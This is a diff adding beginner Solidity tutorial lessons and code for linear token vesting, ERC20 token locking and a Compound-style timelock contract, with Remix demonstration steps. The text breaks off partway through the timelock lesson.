tokens can be one type or multiple types.The release period is defined by the start time `_start` and the duration `_duration`. + * All tokens transferred to this contract will follow the same linear release cycle,And the beneficiary needs to call the `release()` function to extract. + * The contract is simplified from OpenZeppelin's VestingWallet. + */ +contract TokenVesting { + // Event + event ERC20Released(address indexed token, uint256 amount); // Withdraw event + + // State variables + mapping(address => uint256) public erc20Released; // Token address -> release amount mapping, recording the number of tokens the beneficiary has received + address public immutable beneficiary; // Beneficiary address + uint256 public immutable start; // Start timestamp + uint256 public immutable duration; // Duration + + /** + * @dev Initialize the beneficiary address,release duration (seconds),start timestamp (current blockchain timestamp) + */ + constructor(address beneficiaryAddress, uint256 durationSeconds) { + require( + beneficiaryAddress != address(0), + "VestingWallet: beneficiary is zero address" + ); + beneficiary = beneficiaryAddress; + start = block.timestamp; + duration = durationSeconds; + } + + /** + * @dev Beneficiary withdraws the released tokens. + * Calls the vestedAmount() function to calculate the amount of tokens that can be withdrawn, then transfer them to the beneficiary. + * Emit an {ERC20Released} event. + */ + function release(address token) public { + // Calls the vestedAmount() function to calculate the amount of tokens that can be withdrawn. + uint256 releasable = vestedAmount(token, uint256(block.timestamp)) - + erc20Released[token]; + // Updates the amount of tokens that have been released. + erc20Released[token] += releasable; + // Transfers the tokens to the beneficiary. + emit ERC20Released(token, releasable); + IERC20(token).transfer(beneficiary, releasable); + } + + /** + * @dev According to the linear release formula, calculate the released quantity. Developers can customize the release method by modifying this function. + * @param token: Token address + * @param timestamp: Query timestamp + */ + function vestedAmount( + address token, + uint256 timestamp + ) public view returns (uint256) { + // Total amount of tokens received in the contract (current balance + withdrawn) + uint256 totalAllocation = IERC20(token).balanceOf(address(this)) + + erc20Released[token]; + // According to the linear release formula, calculate the released quantity + if (timestamp < start) { + return 0; + } else if (timestamp > start + duration) { + return totalAllocation; + } else { + return (totalAllocation * (timestamp - start)) / duration; + } + } +} diff --git a/SolidityBasics_Part3_Applications/step13/img/43-1.jpeg b/SolidityBasics_Part3_Applications/step13/img/43-1.jpeg new file mode 100644 index 000000000..ebc65f6c1 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step13/img/43-1.jpeg differ diff --git a/SolidityBasics_Part3_Applications/step13/img/43-2.png b/SolidityBasics_Part3_Applications/step13/img/43-2.png new file mode 100644 index 000000000..75deb55b6 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step13/img/43-2.png differ diff --git a/SolidityBasics_Part3_Applications/step13/img/43-3.png b/SolidityBasics_Part3_Applications/step13/img/43-3.png new file mode 100644 index 000000000..9fc4e2ca5 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step13/img/43-3.png differ diff --git a/SolidityBasics_Part3_Applications/step13/img/43-4.png b/SolidityBasics_Part3_Applications/step13/img/43-4.png new file mode 100644 index 000000000..26969682c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step13/img/43-4.png differ diff --git a/SolidityBasics_Part3_Applications/step13/img/43-5.png b/SolidityBasics_Part3_Applications/step13/img/43-5.png new file mode 100644 index 000000000..65bde1a0a Binary files /dev/null and b/SolidityBasics_Part3_Applications/step13/img/43-5.png differ diff --git a/SolidityBasics_Part3_Applications/step13/img/43-6.png b/SolidityBasics_Part3_Applications/step13/img/43-6.png new file mode 100644 index 000000000..7b72f1f4a Binary files /dev/null and b/SolidityBasics_Part3_Applications/step13/img/43-6.png differ diff --git a/SolidityBasics_Part3_Applications/step13/step1.md b/SolidityBasics_Part3_Applications/step13/step1.md new file mode 100644 index 000000000..8659db4f0 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step13/step1.md @@ -0,0 +1,153 @@ +--- +title: 43. Linear Release +tags: + - solidity + - application + - ERC20 +--- + +# WTF Simplified Solidity: 43. Linear Release + +I am currently re-learning Solidity to consolidate my understanding of the details and to create a "Simplified Solidity for Beginners" guide for newbies (programming experts can find other tutorials). I update this guide with 1-3 lessons per week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[wtf.academy](https://wtf.academy) + +All code and tutorials are open-sourced on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +In this lesson, we will introduce token vesting clauses and write a contract for linearly releasing ERC20 tokens. The code is simplified from OpenZeppelin's VestingWallet contract. + +## Token Vesting Clauses + +In traditional finance, some companies provide equity to employees and management. However, a large amount of equity released at the same time can create selling pressure in the short term, dragging down the stock price. Therefore, companies typically introduce a vesting period to delay ownership of committed assets. Similarly, in the blockchain field, Web3 startups allocate tokens to their teams and also sell tokens at a low price to venture capital and private equity. If they simultaneously bring these low-cost tokens to the exchange for liquidity, the token price will be crushed, making retail investors the bag holders. + +So, project teams generally agree on token vesting clauses, gradually releasing tokens during the vesting period to reduce selling pressure and prevent teams and capital parties from going out too early. + +## Linear Release + +Linear release refers to the constant release of tokens during the vesting period. For example, if a private equity holds 365,000 ICU tokens with a vesting period of 1 year (365 days), 1,000 tokens will be released every day. + +Now, let's write a contract TokenVesting for locking and linearly releasing ERC20 tokens. Its logic is simple: + +- The project team specifies the start time, vesting period, and beneficiary of the linear release. +- The project team transfers the ERC20 tokens to be locked to the TokenVesting contract. +- The beneficiary can call the release function to withdraw the released tokens from the contract. + +### Events + +There is `1` event in the Linear Release contract. + +- `ERC20Released`: withdrawal event, triggered when the beneficiary withdraws the released tokens. + +```solidity + +contract TokenVesting { + // Event + event ERC20Released(address indexed token, uint256 amount); // Withdraw event + +``` + +### State Variables + +There are `4` state variables in the linear release contract. + +- `beneficiary`: the beneficiary address. +- `start`: the starting timestamp of the vesting period. +- `duration`: the duration of the vesting period in seconds. +- `erc20Released`: a mapping of token address to the amount released, which records the amount of tokens the beneficiary has already claimed. + +```solidity + // State variables + mapping(address => uint256) public erc20Released; // Token address -> release amount mapping, recording the number of tokens the beneficiary has received + address public immutable beneficiary; // Beneficiary address + uint256 public immutable start; // Start timestamp + uint256 public immutable duration; // Duration +``` + +### Functions + +There are `3` functions in the LinearVesting contract. + +- Constructor: initializes the beneficiary address, duration in seconds and starting timestamp. The constructor takes `beneficiaryAddress` and `durationSeconds` as input parameters. The starting timestamp is set to the deployment blockchain timestamp `block.timestamp` for convenience. +- `release()`: transfers the vested tokens to the beneficiary address. This function calls `vestedAmount()` to calculate the amount of vested tokens, emits the `ERC20Released` event, and then calls the `transfer` function to transfer tokens to the beneficiary. The token address is passed as an input parameter `token`. +- `vestedAmount()`: calculates the number of vested tokens based on the linear vesting formula. Developers can modify this function to implement a customized vesting schedule. The function takes `token` and `timestamp` as input parameters. + +```solidity + /** + * @dev Initialize the beneficiary address,release duration (seconds),start timestamp (current blockchain timestamp) + */ + constructor(address beneficiaryAddress, uint256 durationSeconds) { + require( + beneficiaryAddress != address(0), + "VestingWallet: beneficiary is zero address" + ); + beneficiary = beneficiaryAddress; + start = block.timestamp; + duration = durationSeconds; + } + + /** + * @dev Beneficiary withdraws the released tokens. + * Calls the vestedAmount() function to calculate the amount of tokens that can be withdrawn, then transfer them to the beneficiary. + * Emit an {ERC20Released} event. + */ + function release(address token) public { + // Calls the vestedAmount() function to calculate the amount of tokens that can be withdrawn. + uint256 releasable = vestedAmount(token, uint256(block.timestamp)) - + erc20Released[token]; + // Updates the amount of tokens that have been released. + erc20Released[token] += releasable; + // Transfers the tokens to the beneficiary. + emit ERC20Released(token, releasable); + IERC20(token).transfer(beneficiary, releasable); + } + + /** + * @dev According to the linear release formula, calculate the released quantity. Developers can customize the release method by modifying this function. + * @param token: Token address + * @param timestamp: Query timestamp + */ + function vestedAmount( + address token, + uint256 timestamp + ) public view returns (uint256) { + // Total amount of tokens received in the contract (current balance + withdrawn) + uint256 totalAllocation = IERC20(token).balanceOf(address(this)) + + erc20Released[token]; + // According to the linear release formula, calculate the released quantity + if (timestamp < start) { + return 0; + } else if (timestamp > start + duration) { + return totalAllocation; + } else { + return (totalAllocation * (timestamp - start)) / duration; + } + } +``` + +## `Remix` Demo + +### 1. Deploy the `ERC20` contract in [Lesson 31](../31_ERC20/readme.md), and mint yourself `1000` tokens. + +![Deploy ERC20](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/43_TokenVesting_en/step1/img/43-2.png) + +![Mint 1000 tokens](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/43_TokenVesting_en/step1/img/43-3.png) + +### 2. Deploy the `TokenVesting` contract for linear release, set yourself as the beneficiary, and set the vesting period to `100` seconds. + +![Deploy TokenVesting](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/43_TokenVesting_en/step1/img/43-4.png) + +### 3. Transfer `1000` `ERC20` tokens to the linear release contract. + +![Transfer tokens](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/43_TokenVesting_en/step1/img/43-5.png) + +### 4. Call the `release()` function to extract the tokens. + +![Release tokens](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/43_TokenVesting_en/step1/img/43-6.png) + +## Summary + +A large amount of token unlocking in the short term can cause huge pressure on the token price, while agreed-upon token ownership terms can alleviate selling pressure and prevent the team and capital parties from exiting too early. In this lesson, we introduced token ownership terms and wrote a contract for the linear release of ERC20 tokens. diff --git a/SolidityBasics_Part3_Applications/step14/TokenLocker.sol b/SolidityBasics_Part3_Applications/step14/TokenLocker.sol new file mode 100644 index 000000000..f27252b7e --- /dev/null +++ b/SolidityBasics_Part3_Applications/step14/TokenLocker.sol @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.0; + +import "../31_ERC20_en/IERC20.sol"; +import "../31_ERC20_en/ERC20.sol"; + +/** + * @dev ERC20 token time lock contract. Beneficiaries can only remove tokens after a period of time in the lock. + */ +contract TokenLocker { + // Event + event TokenLockStart( + address indexed beneficiary, + address indexed token, + uint256 startTime, + uint256 lockTime + ); + event Release( + address indexed beneficiary, + address indexed token, + uint256 releaseTime, + uint256 amount + ); + + // Locked ERC20 token contracts + IERC20 public immutable token; + // Beneficiary address + address public immutable beneficiary; + // Lockup time (seconds) + uint256 public immutable lockTime; + // Lockup start timestamp (seconds) + uint256 public immutable startTime; + + /** + * @dev Deploy the time lock contract, initialize the token contract address, beneficiary address and lock time. + * @param token_: Locked ERC20 token contract + * @param beneficiary_: Beneficiary address + * @param lockTime_: Lockup time (seconds) + */ + constructor(IERC20 token_, address beneficiary_, uint256 lockTime_) { + require(lockTime_ > 0, "TokenLock: lock time should greater than 0"); + token = token_; + beneficiary = beneficiary_; + lockTime = lockTime_; + startTime = block.timestamp; + + emit TokenLockStart( + beneficiary_, + address(token_), + block.timestamp, + lockTime_ + ); + } + + /** + * @dev After the lockup time, the tokens are released to the beneficiaries. + */ + function release() public { + require( + block.timestamp >= startTime + lockTime, + "TokenLock: current time is before release time" + ); + + uint256 amount = token.balanceOf(address(this)); + require(amount > 0, "TokenLock: no tokens to release"); + + token.transfer(beneficiary, amount); + + emit Release(msg.sender, address(token), block.timestamp, amount); + } +} diff --git a/SolidityBasics_Part3_Applications/step14/img/44-1.webp b/SolidityBasics_Part3_Applications/step14/img/44-1.webp new file mode 100644 index 000000000..7e2259055 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-1.webp differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-2.jpg b/SolidityBasics_Part3_Applications/step14/img/44-2.jpg new file mode 100644 index 000000000..e9957d06b Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-2.jpg differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-2.png b/SolidityBasics_Part3_Applications/step14/img/44-2.png new file mode 100644 index 000000000..b53bc23e5 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-2.png differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-3.jpg b/SolidityBasics_Part3_Applications/step14/img/44-3.jpg new file mode 100644 index 000000000..042ebcf90 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-3.jpg differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-3.png b/SolidityBasics_Part3_Applications/step14/img/44-3.png new file mode 100644 index 000000000..64cefacaa Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-3.png differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-4.jpg b/SolidityBasics_Part3_Applications/step14/img/44-4.jpg new file mode 100644 index 000000000..5fcfd435d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-4.jpg differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-4.png b/SolidityBasics_Part3_Applications/step14/img/44-4.png new file mode 100644 index 000000000..535ca2b7e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-4.png differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-5.jpg b/SolidityBasics_Part3_Applications/step14/img/44-5.jpg new file mode 100644 index 000000000..6e12870a4 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-5.jpg differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-5.png b/SolidityBasics_Part3_Applications/step14/img/44-5.png new file mode 100644 index 000000000..0e4068df5 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-5.png differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-6.jpg b/SolidityBasics_Part3_Applications/step14/img/44-6.jpg new file mode 100644 index 000000000..ae968dfec Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-6.jpg differ diff --git a/SolidityBasics_Part3_Applications/step14/img/44-6.png b/SolidityBasics_Part3_Applications/step14/img/44-6.png new file mode 100644 index 000000000..c9354b27c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step14/img/44-6.png differ diff --git a/SolidityBasics_Part3_Applications/step14/step1.md b/SolidityBasics_Part3_Applications/step14/step1.md new file mode 100644 index 000000000..2ea2b9fae --- /dev/null +++ b/SolidityBasics_Part3_Applications/step14/step1.md @@ -0,0 +1,155 @@ +--- +tags: + - solidity + - application + - ERC20 +--- + +# WTF Solidity Crash Course: 44. Token Lock + +I have been relearning Solidity recently to solidify my understanding of the language and to create a "WTF Solidity Crash Course" for beginners (advanced programmers can find other tutorials). I will update it weekly with 1-3 lessons. + +Feel free to follow me on Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +You are also welcome to join the WTF Scientists community and find information on how to join the WeChat group: [link](https://discord.gg/5akcruXrsk) + +All of the code and tutorials are open source and can be found on GitHub (I will provide a course certification for 1024 stars and a community NFT for 2048 stars): [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +### Token Lock + +A Token Lock is a simple time-based smart contract that allows one to lock a number of tokens for a certain period of time. After the lock-up period is over, the beneficiary can then withdraw the tokens. A Token Lock is commonly used to lock LP tokens. + +### What are LP Tokens? + +In decentralized exchanges (DEX), users trade tokens, such as in the case of Uniswap. Unlike centralized exchanges (CEX), decentralized exchanges use Automated Market Maker (AMM) mechanisms. Users or projects provide a liquidity pool so that other users can buy and sell tokens instantly. To compensate the user or project for providing the liquidity pool, the DEX will mint corresponding LP tokens, which represent their contribution and entitle them to transaction fees. + +### Why Lock Liquidity? + +If a project suddenly withdraws LP tokens from a liquidity pool without warning, the investors' tokens would become worthless. This act is commonly referred to as a "rug-pull." In 2021 alone, different "rug-pull" scams have defrauded investors of more than $2.8 billion in cryptocurrency. + +However, by locking LP tokens into a Token Lock smart contract, the project cannot withdraw the tokens from the liquidity pool before the lock-up period expires, preventing them from committing a "rug-pull". A Token Lock can, therefore, prevent projects from running away with investors' tokens prematurely (though one should still be wary of projects "running away" once the lock-up period ends). + +## Token Lock Contract + +Below is a contract `TokenLocker` for locking `ERC20` tokens. Its logic is simple: + +- The developer specifies the locking time, beneficiary address, and token contract when deploying the contract. +- The developer transfers the tokens to the `TokenLocker` contract. +- After the lockup period expires, the beneficiary can withdraw the tokens from the contract. + +### Events + +There are two events in the `TokenLocker` contract. + +- `TokenLockStart`: This event is triggered when the lockup starts, which occurs when the contract is deployed. It records the beneficiary address, token address, lockup start time, and end time. +- `Release`: This event is triggered when the beneficiary withdraws the tokens. It records the beneficiary address, token address, release time, and token amount. + +```solidity + event TokenLockStart( + address indexed beneficiary, + address indexed token, + uint256 startTime, + uint256 lockTime + ); + event Release( + address indexed beneficiary, + address indexed token, + uint256 releaseTime, + uint256 amount + ); +``` + +### State Variables + +There are a total of 4 state variables in the `TokenLocker` contract: + +- `token`: the address of the locked token. +- `beneficiary`: the address of the beneficiary. +- `locktime`: the lock-up period in seconds. +- `startTime`: the timestamp when the lock-up period starts (in seconds). + +```solidity + // Locked ERC20 token contracts + IERC20 public immutable token; + // Beneficiary address + address public immutable beneficiary; + // Lockup time (seconds) + uint256 public immutable lockTime; + // Lockup start timestamp (seconds) + uint256 public immutable startTime; +``` + +### Functions + +There are `2` functions in the `TokenLocker` contract. + +- Constructor: Initializes the contract with the token contract, beneficiary address, and lock-up period. +- `release()`: Releases the tokens to the beneficiary after the lock-up period. The beneficiary needs to call the `release()` function to extract the tokens. + +```solidity + /** + * @dev Deploy the time lock contract, initialize the token contract address, beneficiary address and lock time. + * @param token_: Locked ERC20 token contract + * @param beneficiary_: Beneficiary address + * @param lockTime_: Lockup time (seconds) + */ + constructor(IERC20 token_, address beneficiary_, uint256 lockTime_) { + require(lockTime_ > 0, "TokenLock: lock time should greater than 0"); + token = token_; + beneficiary = beneficiary_; + lockTime = lockTime_; + startTime = block.timestamp; + + emit TokenLockStart( + beneficiary_, + address(token_), + block.timestamp, + lockTime_ + ); + } + + /** + * @dev After the lockup time, the tokens are released to the beneficiaries. + */ + function release() public { + require( + block.timestamp >= startTime + lockTime, + "TokenLock: current time is before release time" + ); + + uint256 amount = token.balanceOf(address(this)); + require(amount > 0, "TokenLock: no tokens to release"); + + token.transfer(beneficiary, amount); + + emit Release(msg.sender, address(token), block.timestamp, amount); + } +``` + +## `Remix` Demonstration + +### 1. Deploy the `ERC20` contract in [Lesson 31](../31_ERC20/readme.md), and mint `10000` tokens for yourself + +![`Remix` Demonstration](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/44_TokenLocker_en/step1/img/44-2.png) + +### 2. Deploy the `TokenLocker` contract with the `ERC20` contract address, set yourself as the beneficiary, and set the lock-up period to `180` seconds + +![`Remix` Demonstration](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/44_TokenLocker_en/step1/img/44-3.png) + +### 3. Transfer `10000` tokens to the contract + +![`Remix` Demonstration](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/44_TokenLocker_en/step1/img/44-4.png) + +### 4. Within the lock-up period of `180` seconds, call the `release()` function, but you won't be able to withdraw the tokens + +![`Remix` Demonstration](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/44_TokenLocker_en/step1/img/44-5.png) + +### 5. After the lock-up period, call the `release()` function again, and successfully withdraw the tokens + +![`Remix` Demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/44_TokenLocker_en/step1/img/44-6.png) + +## Summary + +In this lesson, we introduced the token lock contract. Project parties generally provide liquidity on `DEX` for investors to trade. If the project suddenly withdraws the `LP`, it will cause a `rug-pull`. However, locking the `LP` in the token lock contract can avoid this situation. diff --git a/SolidityBasics_Part3_Applications/step15/Timelock.sol b/SolidityBasics_Part3_Applications/step15/Timelock.sol new file mode 100644 index 000000000..7c25bcc77 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step15/Timelock.sol @@ -0,0 +1,225 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Timelock { + // Event + // transaction cancel event + event CancelTransaction( + bytes32 indexed txHash, + address indexed target, + uint value, + string signature, + bytes data, + uint executeTime + ); + // transaction execution event + event ExecuteTransaction( + bytes32 indexed txHash, + address indexed target, + uint value, + string signature, + bytes data, + uint executeTime + ); + // transaction created and queued event + event QueueTransaction( + bytes32 indexed txHash, + address indexed target, + uint value, + string signature, + bytes data, + uint executeTime + ); + // Event to change administrator address + event NewAdmin(address indexed newAdmin); + + // State variables + address public admin; // Admin address + uint public constant GRACE_PERIOD = 7 days; // Transaction validity period, expired transactions are void + uint public delay; // Transaction lock time (seconds) + mapping(bytes32 => bool) public queuedTransactions; // Record all transactions in the timelock queue + + // onlyOwner modifier + modifier onlyOwner() { + require(msg.sender == admin, "Timelock: Caller not admin"); + _; + } + + // onlyTimelock modifier + modifier onlyTimelock() { + require(msg.sender == address(this), "Timelock: Caller not Timelock"); + _; + } + + /** + * @dev Constructor, initialize transaction lock time (seconds) and administrator address + */ + constructor(uint delay_) { + delay = delay_; + admin = msg.sender; + } + + /** + * @dev To change the administrator address, the caller must be a Timelock contract. + */ + function changeAdmin(address newAdmin) public onlyTimelock { + admin = newAdmin; + + emit NewAdmin(newAdmin); + } + + /** + * @dev Create a transaction and add it to the timelock queue. + * @param target: Target contract address + * @param value: Send eth value + * @param signature: The function signature to call (function signature) + * @param data: call data, which contains some parameters + * @param executeTime: Blockchain timestamp of transaction execution + * + * Requirement: executeTime is greater than the current blockchain timestamp + delay + */ + function queueTransaction( + address target, + uint256 value, + string memory signature, + bytes memory data, + uint256 executeTime + ) public onlyOwner returns (bytes32) { + // Check: transaction execution time meets lock time + require( + executeTime >= getBlockTimestamp() + delay, + "Timelock::queueTransaction: Estimated execution block must satisfy delay." + ); + // Calculate the unique identifier for the transaction + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Add transaction to queue + queuedTransactions[txHash] = true; + + emit QueueTransaction( + txHash, + target, + value, + signature, + data, + executeTime + ); + return txHash; + } + + /** + * @dev Cancel a specific transaction. + * + * Requirement: the transaction is in the timelock queue + */ + function cancelTransaction( + address target, + uint256 value, + string memory signature, + bytes memory data, + uint256 executeTime + ) public onlyOwner { + // Calculate the unique identifier for the transaction + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Check: transaction is in timelock queue + require( + queuedTransactions[txHash], + "Timelock::cancelTransaction: Transaction hasn't been queued." + ); + // dequeue the transaction + queuedTransactions[txHash] = false; + + emit CancelTransaction( + txHash, + target, + value, + signature, + data, + executeTime + ); + } + + /** + * @dev Execute a specific transaction + * + * 1. The transaction is in the timelock queue + * 2. The execution time of the transaction is reached + * 3. The transaction has not expired + */ + function executeTransaction( + address target, + uint256 value, + string memory signature, + bytes memory data, + uint256 executeTime + ) public payable onlyOwner returns (bytes memory) { + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Check: Is the transaction in the timelock queue + require( + queuedTransactions[txHash], + "Timelock::executeTransaction: Transaction hasn't been queued." + ); + // Check: the execution time of the transaction is reached + require( + getBlockTimestamp() >= executeTime, + "Timelock::executeTransaction: Transaction hasn't surpassed time lock." + ); + // Check: the transaction has not expired + require( + getBlockTimestamp() <= executeTime + GRACE_PERIOD, + "Timelock::executeTransaction: Transaction is stale." + ); + // remove the transaction from the queue + queuedTransactions[txHash] = false; + + // get callData + bytes memory callData; + if (bytes(signature).length == 0) { + callData = data; + } else { + callData = abi.encodePacked( + bytes4(keccak256(bytes(signature))), + data + ); + } + // Use call to execute transactions + (bool success, bytes memory returnData) = target.call{value: value}( + callData + ); + require( + success, + "Timelock::executeTransaction: Transaction execution reverted." + ); + + emit ExecuteTransaction( + txHash, + target, + value, + signature, + data, + executeTime + ); + + return returnData; + } + + /** + * @dev Get the current blockchain timestamp + */ + function getBlockTimestamp() public view returns (uint) { + return block.timestamp; + } + + /** + * @dev transaction identifier + */ + function getTxHash( + address target, + uint value, + string memory signature, + bytes memory data, + uint executeTime + ) public pure returns (bytes32) { + return + keccak256(abi.encode(target, value, signature, data, executeTime)); + } +} diff --git a/SolidityBasics_Part3_Applications/step15/img/45-1.jpeg b/SolidityBasics_Part3_Applications/step15/img/45-1.jpeg new file mode 100644 index 000000000..4bdacf647 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step15/img/45-1.jpeg differ diff --git a/SolidityBasics_Part3_Applications/step15/img/45-1.jpg b/SolidityBasics_Part3_Applications/step15/img/45-1.jpg new file mode 100644 index 000000000..d280b1e55 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step15/img/45-1.jpg differ diff --git a/SolidityBasics_Part3_Applications/step15/img/45-2.jpg b/SolidityBasics_Part3_Applications/step15/img/45-2.jpg new file mode 100644 index 000000000..75cedf9d0 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step15/img/45-2.jpg differ diff --git a/SolidityBasics_Part3_Applications/step15/img/45-3.jpg b/SolidityBasics_Part3_Applications/step15/img/45-3.jpg new file mode 100644 index 000000000..46f930d0f Binary files /dev/null and b/SolidityBasics_Part3_Applications/step15/img/45-3.jpg differ diff --git a/SolidityBasics_Part3_Applications/step15/img/45-4.jpg b/SolidityBasics_Part3_Applications/step15/img/45-4.jpg new file mode 100644 index 000000000..6bebb1e8f Binary files /dev/null and b/SolidityBasics_Part3_Applications/step15/img/45-4.jpg differ diff --git a/SolidityBasics_Part3_Applications/step15/img/45-5.jpg b/SolidityBasics_Part3_Applications/step15/img/45-5.jpg new file mode 100644 index 000000000..39e7f9edb Binary files /dev/null and b/SolidityBasics_Part3_Applications/step15/img/45-5.jpg differ diff --git a/SolidityBasics_Part3_Applications/step15/img/45-6.jpg b/SolidityBasics_Part3_Applications/step15/img/45-6.jpg new file mode 100644 index 000000000..563a51634 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step15/img/45-6.jpg differ diff --git a/SolidityBasics_Part3_Applications/step15/img/45-7.jpg b/SolidityBasics_Part3_Applications/step15/img/45-7.jpg new file mode 100644 index 000000000..35b810724 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step15/img/45-7.jpg differ diff --git a/SolidityBasics_Part3_Applications/step15/step1.md b/SolidityBasics_Part3_Applications/step15/step1.md new file mode 100644 index 000000000..e8ed8f781 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step15/step1.md @@ -0,0 +1,365 @@ +--- +title: 45. Time Lock +tags: + - solidity + - application +--- + +# WTF Solidity Quick Start: 45. Time Lock + +I've been relearning Solidity recently to strengthen some details and write a "WTF Solidity Quick Start" for beginners (programming experts can find other tutorials), updated weekly with 1-3 lessons. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://wechat.wtf.academy)|[wtf.academy](https://wtf.academy) + +All code and tutorials are open-sourced on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +In this lesson, we introduce time locks and time lock contracts. The code is based on the simplified version of the [Timelock contract](https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol) of Compound. + +## Timelock + +![Timelock](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/45_Timelock_en/step1/img/45-1.jpeg) + +A timelock is a locking mechanism commonly found in bank vaults and other high-security containers. It is a timer designed to prevent a safe or vault from being opened before a predetermined time, even if the person unlocking it knows the correct password. + +In blockchain, timelocks are widely used in DeFi and DAO. It is a piece of code that can lock certain functions of a smart contract for a period of time. It can greatly improve the security of a smart contract. For example, if a hacker hacks the multi-signature of Uniswap and intends to withdraw the funds from the vault, but the vault contract has a timelock of 2 days, the hacker needs to wait for 2 days from creating the withdrawal transaction to actually withdraw the money. During this period, the project party can find countermeasures, and investors can sell tokens in advance to reduce losses. + +## Timelock contract + +Next, we will introduce the Timelock contract. Its logic is not complicated: + +- When creating a Timelock contract, the project party can set the lock-in period and set the contract's administrator to itself. + +- The Timelock mainly has three functions: + + - Create a transaction and add it to the timelock queue. + - Execute the transaction after the lock-in period of the transaction. + - Regret, cancel some transactions in the timelock queue. + +- The project party generally sets the timelock contract as the administrator of important contracts, such as the vault contract, and then operates them through the timelock. + +- The administrator of a timelock contract is usually a multi-signature wallet of the project, ensuring decentralization. + +### Events + +There are 4 events in the `Timelock` contract. + +- `QueueTransaction`: Event when a transaction is created and enters the timelock queue. +- `ExecuteTransaction`: Event when a transaction is executed after the lockup period ends. +- `CancelTransaction`: Event when a transaction is cancelled. +- `NewAdmin`: Event when the administrator's address is modified. + +```Solidity + // Event + // transaction cancel event + event CancelTransaction( + bytes32 indexed txHash, + address indexed target, + uint value, + string signature, + bytes data, + uint executeTime + ); + // transaction execution event + event ExecuteTransaction( + bytes32 indexed txHash, + address indexed target, + uint value, + string signature, + bytes data, + uint executeTime + ); + // transaction created and queued event + event QueueTransaction( + bytes32 indexed txHash, + address indexed target, + uint value, + string signature, + bytes data, + uint executeTime + ); + // Event to change administrator address + event NewAdmin(address indexed newAdmin); +``` + +### State Variables + +There are a total of 4 state variables in the `Timelock` contract. + +- `admin`: The address of the administrator. +- `delay`: The lock up period. +- `GRACE_PERIOD`: The time period until a transaction expires. If a transaction is scheduled to be executed but it is not executed within `GRACE_PERIOD`, it will expire. +- `queuedTransactions`: A mapping of `txHash` identifier to `bool` that records all the transactions in the timelock queue. + +```solidity + // State variables + address public admin; // Admin address + uint public constant GRACE_PERIOD = 7 days; // Transaction validity period, expired transactions are void + uint public delay; // Transaction lock time (seconds) + mapping(bytes32 => bool) public queuedTransactions; // Record all transactions in the timelock queue +``` + +### Modifiers + +There are `2` modifiers in the `Timelock` contract. + +- `onlyOwner()`: the function it modifies can only be executed by the administrator. +- `onlyTimelock()`: the function it modifies can only be executed by the timelock contract. + +```solidity + // onlyOwner modifier + modifier onlyOwner() { + require(msg.sender == admin, "Timelock: Caller not admin"); + _; + } + + // onlyTimelock modifier + modifier onlyTimelock() { + require(msg.sender == address(this), "Timelock: Caller not Timelock"); + _; + } +``` + +### Functions + +There are a total of 7 functions in the `Timelock` contract. + +- Constructor: Initializes the transaction locking time (in seconds) and the administrator 